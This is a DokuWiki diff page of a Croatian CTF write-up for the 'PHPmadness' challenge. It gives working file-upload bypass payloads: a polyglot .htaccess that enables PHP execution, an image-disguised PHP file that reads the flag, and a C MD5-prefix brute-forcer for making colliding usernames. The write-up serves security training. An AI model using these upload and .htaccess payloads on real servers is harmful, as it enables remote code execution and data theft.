User Tools

Site Tools


phpmadness

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
phpmadness [2025/10/31 13:28] mbunicphpmadness [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 1: Line 1:
-====== Zadatak s Hacknite platforme - PHPmadness ======+==== Zadatak s Hacknite platforme - PHPmadness ====
  
-<source>+<file>
 Ovaj zadatak ima slojeve Ovaj zadatak ima slojeve
  
 http://chal.platforma.hacknite.hr:14019 http://chal.platforma.hacknite.hr:14019
-</source>+</file>
  
-Uz zadatak je dan i izvorni kod. \\+Dan je i izvorni kod zadatka. \\
  
 {{ phpmadness:slika1.png?nolink&500 | Slika 1 - Dockerfile}} {{ phpmadness:slika1.png?nolink&500 | Slika 1 - Dockerfile}}
  
-Pregledom **Dockerfilea** zadatka može se vidjeti da se radi o PHP zadatku te da se flag kopira u putanju **/flag**, te da flag datoteka dobiva nasumično generiran naziv u formatu+Pregledom **Dockerfilea** zadatkamože se vidjeti da se radi o PHP zadatkute da se flag kopira u direktorij **/flag**, te da flag datoteka dobiva nasumično generirano ime u formatu:
  
 <code> <code>
Line 17: Line 17:
 </code> </code>
  
-Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun. Nakon logina, prikazuje se stranica na kojoj se može pohraniti jedna slika. \\+Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun, nakon logina prikazuje se stranica na kojoj se može pohraniti jedna jedina slika. \\
  
 {{ phpmadness:slika2.png?nolink&500 | Slika 2 - stranica zadatka}} {{ phpmadness:slika2.png?nolink&500 | Slika 2 - stranica zadatka}}
Line 25: Line 25:
 {{ phpmadness:slika3.png?nolink&500 | Slika 3 - poveznica na lokaciju slike}} {{ phpmadness:slika3.png?nolink&500 | Slika 3 - poveznica na lokaciju slike}}
  
-Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo valjana slika. \\+Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo slika. \\
  
 {{ phpmadness:slika4.png?nolink&500 | Slika 4 - user.php – validacije učitane slike}} {{ phpmadness:slika4.png?nolink&500 | Slika 4 - user.php – validacije učitane slike}}
  
-Kod se sastoji od tri provjere+Kod se sastoji od tri provjere, prva provjera je samo provjera ekstenzije učitane datoteke, provjerava se tako da se uzme dio naziva datoteke nakon zadnje točke, npr. **.jpg**, te se provjerava da ta ekstenzija ne počinje znakovima **ph**, što je definirano ovim REGEX pravilom:
- +
-=== 1) Provjera ekstenzije datoteke ===+
  
 <code> <code>
Line 37: Line 35:
 </code> </code>
  
-Provjera uzima ekstenziju nakon zadnje točke (npr. **.jpg**) i provjerava da ne počinje znakovima **ph**.   +Ovu provjeru lako je zaobići, tako da se stave dvostruke ekstenzije, npr.
-Ovu provjeru lako je zaobići dvostrukom ekstenzijomnpr. **file.php.jpg**.   +
-U tom slučaju se validira **.jpg**, ali se datoteka sprema bez te provjerene ekstenzije, pa efektivno ostaje **.php**.+
  
-=== 2) Provjera MIME tipa poslanog u zahtjevu ===+<code> 
 +file.php.jpg 
 +</code> 
 + 
 +U kojem bi slučaju ova provjera uzela samo **.jpg**, nakon čega sprema datoteku bez provjerene ekstenzije, što bi značilo da bi samo druga ekstenzija, **.php**, ostala. 
 + 
 +Druga provjera, provjerava da MIME tip poslan u zahtjevu odgovara slici:
  
 <code> <code>
Line 47: Line 49:
 </code> </code>
  
-Ova provjera koristi podatak koji klijent šalje može se jednostavno namjestiti ručno pri slanju datoteke.+Ovu provjeru je lagano zaobićnamještanjem ove vrijednosti na korisničkoj strani pri slanju datoteke.
  
-=== 3) Provjera "file signature" (serverska provjera) ===+Treća provjera:
  
 <code> <code>
 $info = @getimagesize($_FILES["file"]["tmp_name"]); $info = @getimagesize($_FILES["file"]["tmp_name"]);
 $mime = $info['mime'];  $mime = $info['mime']; 
 +
 ... ...
 +
 strpos($mime, "image/") !== 0 strpos($mime, "image/") !== 0
 </code> </code>
  
-Ova provjera čita stvarne "magic bytes" datoteke i određuje je li slika.   +Provjerava datoteku na serverskoj strani, čitajući njezin "file signature" ili "magic bytes" i prema njima određuje je li učitana datoteka slika ili nije.
-Zaobići se može tako da se na početak PHP datoteke dodaju "magic byteovi" slike (npr. .jpg, .png, …). PHP parser ih preskače i izvršava ostatak koda.+
  
----+I ovu provjeru moguće je jednostavno zaobići, tako da se napravi PHP datoteka s kodom koji se želi izvršiti na serveru, na početku koje se dodaju "magic byteovi" odnosno "file signature" neke slike, npr. .jpg, i u slučaju da bi PHP parser čitao ovu datoteku, on bi ignorirao ove byteove i nakon toga uspješno pročitao i pokrenuo PHP kod.
  
-No, čak i ako se uspješno upload-a PHP datoteka koja prolazi sve provjere, ona se **ne bi izvršila**jer se sprema u **/uploads/**,tamo postoji **.htaccess** koji zabranjuje izvršavanje PHP datoteka. \\+No postoji problem, čak i da se uploada datoteka s PHP kodom koja zaobilazi sve ove provjere, ona se i dalje ne bi izvršila, zato što će se učitati pod putanjom **/uploads/**,u **/uploads** direktoriju postoji **.htaccess** file, koji zabranjuje izvršavanje svim PHP datotekama. \\
  
 {{ phpmadness:slika5.png?nolink&500 | Slika 5 - .htaccess u /uploads direktoriju}} {{ phpmadness:slika5.png?nolink&500 | Slika 5 - .htaccess u /uploads direktoriju}}
  
-Međutim, učitana datoteka se sprema poddirektorij **/uploads/<specific_user_directory>**.   +No uploadana datoteka će se nalaziti poddirektoriju od **/uploads**, nalazit će se u:
-To znači daako se može uploadati **.htaccess** datoteka koja bi zaobišla validaciju, ona bi mogla **nadjačati** (override) roditeljsku **.htaccess** konfiguraciju i time dopustiti izvršavanje PHP datoteka unutar korisničkog direktorija.+
  
-Problem: korisnik možimati **samo jednu** datoteku po sesiji — upload nove briše staru, što je prikazano u kodu\\+<code> 
 +/uploads/&lt;specific_user_directory&gt; 
 +</code> 
 + 
 +Što znači da ako je mogućuploadati **.htaccess** file, koji bi također zaobišao provjere da je uploadana datoteka slika, taj učitani **.htaccess** file bi nadjačao (eng. override) roditeljski **.htaccess** file. Time bi bilo moguće definirati vlastita **.htaccess** pravila u direktoriju pojedinog korisnika. 
 + 
 +No problem je da svaki korisnik smije imati samo jednu učitanu datoteku po korisničkoj sesiji, i učitavanjem nove datoteke, stara datoteka se briše i samo nova čuva, što je prikazano u kodu na slici 6. \\
  
 {{ phpmadness:slika6.png?nolink&500 | Slika 6 - user.php – logika učitavanja datoteke korisnika}} {{ phpmadness:slika6.png?nolink&500 | Slika 6 - user.php – logika učitavanja datoteke korisnika}}
  
-To znači:   +To znači da ako korisnik učita **.php** file koji zaobilazi sve provjereon neće biti dopušten zbog **.htaccess** konfiguracije u naddirektoriju, a ako uspije učitati **.htaccess** datoteku koja overridea krovnu konfiguraciju, neće biti moguće učitati **.php** datoteku koja bi iskoristila tu novu konfiguraciju koja dopušta izvršavanje PHP koda.
-  * ako se upload-a **.php** datoteka, neće se moći izvršiti zbog ograničenja u **.htaccess**,   +
-  * ako se upload-a **.htaccess**, neće se moći uploadati dodatna **.php** datoteka jer se prva briše.+
  
----+No postoji način za učitati dvije datoteke u isti direktorij, kako bi se mogla učitati prvo **.htaccess** datoteka koja bi dozvolila izvršavanja PHP koda i onda druga datoteka koja bi sadržavala PHP kod, koji bi se izvršio i koristio za čitanje flaga.
  
-Postoji ipak način da **dvije datoteke** završe istom direktoriju.   +Odgovor leži logici koja određuje u koji direktorij će se pohraniti korisnikova učitana datoteka, što je određeno u ovoj liniji koda:
-Pogledajmo kako se određuje ime korisničkog direktorija:+
  
 <code> <code>
Line 87: Line 92:
 </code> </code>
  
-Dakle, direktorij se naziva po **prvih 6 znakova MD5 sažetka korisničkog imena**  +Ova linija koda određuje da će se korisnikov direktorij nazvati kao prvih 6 znakova MD5 sažetka korisnikovog korisničkog imena (usernamea)
-Ako nađemo **dva korisnička imena** X i Y s istim prvim 6 znakova MD5 hash-a:+ 
 +To znači da ako možemo pronaći dva korisnička imena, koja oba imaju istih prvih 6 znakova njihovih MD5 sažetka, odnosno
  
 <code> <code>
Line 94: Line 100:
 </code> </code>
  
-onda ćoba korisnika spremati datoteke u isti direktorij.   +gdje su X i Y dva različita usernamea, svaki korisnik možuploadati jednu datoteku u isti direktorij, tako da korištenjem jednog korisnika se može uploadati **.htaccess** datoteka, a korištenjem drugog korisnika datoteka sa PHP kodom, čije je izvršavanje omogućeno **.htaccess** datotekom. 
-Jedan može uploadati **.htaccess**,drugi **.php** datoteku.+ 
 +Pronalazak para usernameova čijih prvih 6 znakova MD5 hash algoritma se podudaraju je jednostavan problem i čistim bruteforceom se može pronaći vrlo brzo, ispod minute (implementacijom u C-u).
  
-Pronalazak takvog para je trivijalan brute-force problem — možse riješiti u manje od minute.   +Sljedećje jedan primjer C koda koji pronalazi ovo rješenje.
-Slijedi primjer C programa koji to radi:+
  
-<source lang="c"+<file
-// md5_collision_finder6+// md5_collision_finder6 
 #include <stdio.h> #include <stdio.h>
 #include <stdlib.h> #include <stdlib.h>
Line 123: Line 129:
     printf("Input string: %s\n", input);     printf("Input string: %s\n", input);
     printf("Full MD5: ");     printf("Full MD5: ");
-    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) printf("%02x", input_digest[i]);+    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) 
 +        printf("%02x", input_digest[i]); 
 +    }
     printf("\nFirst 6 chars: ");     printf("\nFirst 6 chars: ");
-    for (int i = 0; i < 3; i++) printf("%02x", input_digest[i]); +    for (int i = 0; i < 3; i++) 
-    printf("\nSearching for collision...\n");+        printf("%02x", input_digest[i]); 
 +    } 
 +    printf("\nSearching for collision (min 8 chars)...\n");
  
 +    // Extract first 3 bytes as target
     unsigned char target[3];     unsigned char target[3];
     memcpy(target, input_digest, 3);     memcpy(target, input_digest, 3);
-    const int min_len = 8; +    const int min_len = 8; // MINIMUM candidate length 
-    const int max_len = 15;+    const int max_len = 15; // MAXIMUM candidate length
     const size_t charset_size = sizeof(charset) - 1;     const size_t charset_size = sizeof(charset) - 1;
     unsigned long long attempts = 0;     unsigned long long attempts = 0;
-    char candidate[max_len + 1];+    const unsigned long long report_interval = 10000000; 
 +    char candidate[max_len + 1]; // Buffer for candidate
     srand(time(NULL));     srand(time(NULL));
- 
     while (1) {     while (1) {
         attempts++;         attempts++;
 +        // Generate random candidate length (8-15)
         int len = rand() % (max_len - min_len + 1) + min_len;         int len = rand() % (max_len - min_len + 1) + min_len;
-        for (int i = 0; i < len; i++) candidate[i] = charset[rand() % charset_size];+        // Generate random candidate 
 +        for (int i = 0; i < len; i++) 
 +            candidate[i] = charset[rand() % charset_size]; 
 +        }
         candidate[len] = '\0';         candidate[len] = '\0';
-        if (len == input_len && memcmp(candidate, input, len) == 0) continue;+        // Skip input string if same (length + content) 
 +        if (len == input_len && memcmp(candidate, input, len) == 0) 
 +            continue; 
 +        } 
 +        // Compute MD5
         unsigned char candidate_digest[MD5_DIGEST_LENGTH];         unsigned char candidate_digest[MD5_DIGEST_LENGTH];
         MD5((unsigned char*)candidate, len, candidate_digest);         MD5((unsigned char*)candidate, len, candidate_digest);
 +        // Progress report
 +        if (attempts % report_interval == 0) {
 +            printf("Attempts: %lluM, Current: %s\n", attempts/1000000, candidate);
 +        }
 +        // Check first 3 bytes (6 hex characters)
         if (memcmp(candidate_digest, target, 3) == 0) {         if (memcmp(candidate_digest, target, 3) == 0) {
-            printf("Collision found after %llu attempts!\n", attempts); +            printf("\nCollision found after %llu attempts!\n", attempts); 
-            printf("Colliding string: %s\n", candidate);+            printf("Colliding string: %s (length: %d)\n", candidate, len); 
 +            printf("Full MD5: "); 
 +            for (int i = 0; i < MD5_DIGEST_LENGTH; i++) { 
 +                printf("%02x", candidate_digest[i]); 
 +            } 
 +            printf("\nFirst 6 chars: "); 
 +            for (int i = 0; i < 3; i++) { 
 +                printf("%02x", candidate_digest[i]); 
 +            } 
 +            printf("\n");
             break;             break;
         }         }
Line 153: Line 186:
     return 0;     return 0;
 } }
-</source>+</file> 
 + 
 +Program se treba kompajlirati i nakon toga se može pokrenuti, prosljeđujući mu username za koji je potrebno naći MD5 hash collision u prvih 6 znakova kao argument.
  
-Pokretanje:+Primjer ovakvog para korisničkih imena dobivenog ovim programom je:
  
-<source lang="bash">+<file>
 $ ./md5_collision_finder6 korisnik1 $ ./md5_collision_finder6 korisnik1
 Input string: korisnik1 Input string: korisnik1
 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61
 First 6 chars: affc2d First 6 chars: affc2d
 +Searching for collision (min 8 chars)...
 +Attempts: 10M, Current: ZF7ciZizcHo8
 +
 Collision found after 19093362 attempts! Collision found after 19093362 attempts!
-Colliding string: BQuxIUGH+Colliding string: BQuxIUGH (length: 8)
 Full MD5: affc2da2a9c70df41678d24f997a95f0 Full MD5: affc2da2a9c70df41678d24f997a95f0
 First 6 chars: affc2d First 6 chars: affc2d
-</source>+</file>
  
-Dakle, dva korisnička imena koja dijele direktorij su **korisnik1** **BQuxIUGH**.+Dva korisnička imena, čije bi učitane datoteke bile u istom direktoriju su
 + 
 +<code> 
 +korisnik1 i BQuxIUGH 
 +</code>
  
----+Preostaje problem kako učitati **.htaccess** datoteku, koja će uspješno proći kroz provjere da je učitana datoteka slika, dok će se i dalje dobro parsirati kao ispravan **.htaccess** file. Pri parsiranju PHP fileova, nepoznati byteovi će se samo preskočiti, te je ovo trivijalan problem kod datoteke s PHP kodom, dok je u slučaju **.htaccess** datoteke, ovo zapravo najteži dio zadatka.
  
-Sada treba napraviti **.htaccess** datoteku koja će proći validaciju slike, ali će se i dalje pravilno parsirati.   +.htaccess datoteka koja bi koristila ovaj pristup bi se mogla zvati **.htaccess.jpg**.
-Pri parsiranju PHP datoteka, nepoznati bajtovi se preskaču, no .htaccess parser zahtijeva ispravan početak datoteke — to je najteži dio zadatka.+
  
-Postoje dva rješenja:+Postoje dva rješenja.  
  
-==== 1) `.wbmp` pristup ====+==== .wbmp ====
  
-Parser .htaccess datoteke ignorira početne null bajtove.   +Prvo se zasniva na činjenici da se pri parsiranju .htaccess datoteke, null bajtovi na početku preskaču bez errora, te se file dalje normalno parsira, dok 4 null bajtovi na početku datoteke PHP prepoznaje kao file signature .wbmp datoteke, koja je slika, te se tako može napraviti „pseudo-poliglot” datoteka koja PHP-ovu provjeru uvjerava da je .wbmp slika, dok je i dalje .htaccess file koji se može uspješno parsiratiDatoteka može imati sadržaj:
-Ako se dodaju 4 null bajta (`\x00\x00\x00\x00`), PHP ih prepoznaje kao potpis `.wbmp` slike.   +
-Takva datoteka može se zvati **.htaccess.jpg** i sadržavati:+
  
-<source lang="text"+<file
-<4 null byteova><new line>+<4 null bajtova><new line (\n ili 0a u hex)>
 <FilesMatch "\.php3$"> <FilesMatch "\.php3$">
 Require all granted Require all granted
 SetHandler application/x-httpd-php SetHandler application/x-httpd-php
 </FilesMatch> </FilesMatch>
-</source>+</file>
  
-==== 2) `.xbm` pristup ====+==== .xbm ====
  
-Komentari u .htaccess počinju s `#`.   +Drugo rješenje se zasniva na činjenici da u .htaccess datoteci komentari se označavaju znakom “#” na početku linije, te se tako može konstruirati datoteka kojoj su prve dvije linije:
-Ako se doda zaglavlje valjane **.xbm** slike:+
  
-<source lang="text">+<file> 
 +#define a_width 1  
 +#define a_height 1 
 +</file> 
 + 
 +što prolazi provjeru je li učitana datoteka slika, interpretirajući se kao **.xbm** datoteka (slika), dok se pri parsiranju datoteke kao .htaccess, ove dvije linije smatraju komentarima i preskaču, pa se parsiranje .htaccess datoteke normalno nastavlja. Primjer sadržaja: 
 + 
 +<file>
 #define a_width 1  #define a_width 1 
 #define a_height 1 #define a_height 1
Line 203: Line 248:
 SetHandler application/x-httpd-php SetHandler application/x-httpd-php
 </FilesMatch> </FilesMatch>
-</source> +</file>
- +
-PHP provjera prepoznaje datoteku kao sliku, a Apache parser ignorira prve dvije linije kao komentare. +
- +
----+
  
-Time je moguće zaobići sve provjere i ograničenja.   +Sada su riješena sva ograničenja zadatka i jasan je način kako se može stvoriti 2 korisnika s odgovarajućim korisničkim imenima kako bi se mogle učitati dvije datoteke, **.htaccess** i datoteka s PHP kodom u isti korisnički direktorijuz zaobilazak svih provjera i ograničenja zadatka za učitavanje datoteke.
-Dakle, strategija je:   +
-  1. Dva korisnika s istim prvih 6 znakova MD5 hash-a.   +
-  2. Jedan upload-a **.htaccess.jpg** (gornjim sadržajem).   +
-  3. Drugi upload-a PHP datotekunpr. **readFlag.php3.jpg**.+
  
----+Još jedno ograničenje je preostalo za PHP kod koji se treba učitati i izvršavati za dohvat flaga, to je skup zabranjenih funkcija, definiran u **/php-config/disable_functions.ini**.
  
-Preostaje PHP kod koji pronalazi i ispisuje flag.   +Zabranjene funkcije su:
-Ograničenja su definirana u **/php-config/disable_functions.ini**:+
  
 <code> <code>
Line 224: Line 260:
 </code> </code>
  
-Ipak, moguće je čitati datoteke bez ovih funkcija.+No i dalje i s ovim ograničenjem ima dosta načina za pronaći flag datoteku i pročitati ju i bez ovih zabranjenih funkcija.
  
-Primjer datoteke **readFlag.php3.jpg** (s dodanim *magic bytes* slike na početku):+Primjer datoteke s PHP kodom, koja bi bila odobrena prethodnom **.htaccess** datotekom i pronašla flag datoteku te je pročitala i ispisala se može zvati **readFlag.php3.jpg** i sadržavati file signature bilo koje slike, npr. koristeći tehniku .wbmp, te nakon toga potrebni PHP kod:
  
-<source lang="php"+<file
-<4 null byteova><new line>+<4 null byteova><new line (\n ili 0a u hex)>
 <?php <?php
 $files = scandir("/flag"); $files = scandir("/flag");
Line 242: Line 278:
 } }
 ?> ?>
-</source>+</file>
  
----+Preostali koraci: 
 +  * s jednim korisnikom učitati prethodno opisanu **.htaccess.jpg** datoteku, \\   
 +    {{ phpmadness:slika7.png?nolink&500 | Slika 7 upload .htaccess.jpg datoteke}}
  
-Zatim: +  * s drugim korisnikom učitati opisanu datoteku s PHP kodom (**readFlag.php3.jpg**), \\   
-  1. Prvim korisnikom upload-aj **.htaccess.jpg**\\   +    {{ phpmadness:slika8.png?nolink&500 | Slika - upload readFlag.php3.jpg datoteke}}
-     {{ phpmadness:slika7.png?nolink&500 | Slika - upload .htaccess.jpg datoteke}}+
  
-  2. Drugim korisnikom upload-aj **readFlag.php3.jpg**. \\   +  * otići na lokaciju učitane PHP datoteke i posjetiti je, \\   
-     {{ phpmadness:slika8.png?nolink&500 | Slika upload readFlag.php3.jpg datoteke}}+    {{ phpmadness:slika9.png?nolink&500 | Slika link na lokaciju}}
  
-  3. Posjeti link do učitane PHP datoteke. \\   +kako bi se PHP kod izvršio ispisao flag. \\  
-     {{ phpmadness:slika9.png?nolink&500 | Slika 9 - link na lokaciju}} +
- +
-PHP kod će se izvršiti ispisati flag. \\  +
 {{ phpmadness:slika10.png?nolink&500 | Slika 10 - riješen zadatak}} {{ phpmadness:slika10.png?nolink&500 | Slika 10 - riješen zadatak}}
- 
  
phpmadness.1761917322.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki